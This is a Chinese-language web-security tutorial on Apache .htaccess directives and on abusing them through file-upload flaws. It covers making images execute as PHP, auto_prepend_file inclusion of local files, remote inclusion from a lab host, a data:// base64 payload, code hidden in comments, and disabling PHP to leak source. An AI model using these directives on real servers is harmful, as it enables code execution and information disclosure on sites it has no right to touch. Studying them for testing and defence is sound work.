1.简介
1.1基本概念
.htaccess 文件提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一条或多条指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 指令来设置。
.htaccess 中有 # 单行注释符, 且支持 \拼接上下两行。
1.2作用范围
.htaccess 文件中的配置指令作用于 .htaccess 文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有.htaccess文件,而指令是按查找顺序依次生效的,所以一个特定目录下的 .htaccess 文件中的指令可能会覆盖其上级目录中的 .htaccess 文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令。
1.3配置文件
启动 .htaccess,需要在服务器的主配置文件将AllowOverride 设置为 All,如 apache2.confAllowOverride All #启动.htaccess文件的使用
也可以将 .htaccess 修改为其他名AccessFileName .config #将.htaccess修改为.config
2.常见指令
2.1SetHandler
SetHandler 可以强制所有匹配的文件被一个指定的处理器处理
用法:SetHandler handler-name|None
示例1:SetHandler application/x-httpd-php
此时当前目录及其子目录下所有文件都会被当做 php 解析
示例2:SetHandler server-status
这是查看apache的服务器信息的(默认是关闭状态,图源自网络)
访问任意不存在的文件,加参数 ?refresh=5 来实现每隔 5s 自动刷新
2.2AddHander,AddType
Example:
AddType application/x-httpd-php .htm
#.htm后缀的文件视为php文件执行AddHandler cgi-script .aaa
#后缀名为.aaa的文件视为cgi脚本执行AddType application/x-httpd-php png jpg gif
#将png,jpg,gif后缀名都视为php执行
可以看到以上三个指令作用基本一致,都是有很大的安全漏洞的,可以进行文件上传和包含漏洞
2.3php_value
当使用PHP作为Apache模块时,也可以用Apache的配置文件(例如 httpd.conf)和 .htaccess 文件中的指令来修改 php 的配置设定。需要有AllowOverride Options 或AllowOverride All 权限才可以。
php_value 设定指定的值。要清除先前设定的值,把 value 设为 none。不要用 php_value 设定布尔值。应该用 php_flag。
用法:
`php_value name value`使用的范围:

由上可知.htaccess只能用于 PHP_INI_ALL 或 PHP_INI_PERDIR 类型的指令。
查看php.ini 配置选项列表,寻找可利用指令
- 文件包含配置选项

- auto_prepend_file:在主文件解析之前自动解析包含的文件
- auto_append_file:在主文件解析后自动解析包含的文件
如:php_value auto_prepend_file 1.jpg #每次访问一个php文件,都会先解析1.jpg图片,如果里面有代码就会执行
- 绕过preg_match

引例:
1 | php_value pcre.backtrack_limit 0 |
将正则匹配的回溯次数设为0,来达到绕过的效果
2.4php_flag
php_flag 用来设定布尔值的 php.ini 配置指令
用法:
查看,寻找可利用指令php_flag name on|off
将其中的engine设为0可以关闭php解析从而达到源码泄露的目的
如:php_flag engine off
2.5.htaccess文件的注释特征
在htaccess文件内注释符号是#,这里要注意#一般放在行首,并且只能注释一行
1 | php_value auto_prepend_file 1.png |
假如我们要多行注释该怎么办呢,htaccess文件里面可以用反斜杠(%0a)转义换行符,去连接不同行的代码:
1 | php_value auto_prepend_fi\ |
如例2,里面的\并不只是单单的\,他实际上是\%0a、,转义了换行符,所以我们根据这种特征,用#\%0a来多行注释
3.Htaccess的利用方式
3.1文件解析
经常出现在文件上传的黑名单没有限制 .htaceess 后缀,通过上传 .htaccess 文件,再上传图片,使图片的php恶意代码得以被解析执行
使用方法有如下两种:
sethandler:
1
2
3
4# 将test.gif 当做 PHP 执行
<FilesMatch "test.gif">
SetHandler application/x-httpd-php
</FilesMatch>1
phpinfo();

addtype:
1
2# 将 .jpg 当做 PHP 文件解析
AddType application/x-httpd-php .png
3.2文件包含
3.2.1本地文件包含(LFI)
通过 php_value 来设置 auto_prepend_file或者 auto_append_file 配置选项包含一些敏感文件, 同时在本目录或子目录中需要有可解析的 php 文件来触发。
.htaccess 分别通过这两个配置选项来包含 /etc/passwd,并访问同目录下的 index.php文件。
- auto_prepend_file
php_value auto_prepend_file C:\Users\22927\Desktop\新建文件夹\User_Pwds.txt
这个意思是当我们打开一个php文件之前,我们会先打开User_Pwds.txt文件
1 |
|

可以看到我们的字典文件已经被打开了
- auto_append_file
php_value auto_append_file C:\Users\22927\Desktop\新建文件夹\User_Pwds.txt
意思是在执行完一个php文件后,解析User_Pwds.txt文件
如图,先输出了hello,再输出passwd
3.2.2远程文件包含(RFI)
PHP 的all_url_include配置选项这个选项默认是关闭的,如果开启的话就可以远程包含。因为all_url_include的配置范围为 PHP_INI_SYSTEM,所以无法利用php_flag在.htaccess中开启
因此想要运用就得将all_url_include=on开启
这里为了演示,就在 php.ini 中设置 all_url_include 为 Onphp_value auto_append_file [http://10.87.9.156/phpinfo.txt](http://10.87.9.156/phpinfo.txt)
可以看到先输出了hello再运行了phpinfo();
3.3信息泄露
利用 php_flag 将 engine 设置为 0,在本目录和子目录中关闭 php 解析,造成源码泄露php_flag engine 0
这里在谷歌浏览器访问会显示源码,用其他浏览器访问会显示空白,还需查看源码,才可看到泄露的源码
可以看到直接给我们自动下载源文件了
3.4代码执行
3.4.1利用伪协议
前提条件:all_url_fopen=on,all_url_include=on
1 | php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ |

这边成功的打开了phpinfo!
3.4.2解析.htaccess
方法一:
1
2
3php_value auto_append_file .htaccess
#这里是注释哦!
#<?php phpinfo();?>这种方法在我们随便打开一个PHP文件后就会去解析.htaccess文件(这里的htaccess文件一定要和php文件在一个目录下!!!!)

方法二:
这种适合同目录或子目录没有php文件。
需要先设置允许可访问 .htaccess 文件
1 | <Files ~ "^.ht"> |

参考文献:
https://xz.aliyun.com/t/8267#toc-20
不得不说这个博主真的牛
About this Post
This post is written by Boogipop, licensed under CC BY-NC 4.0.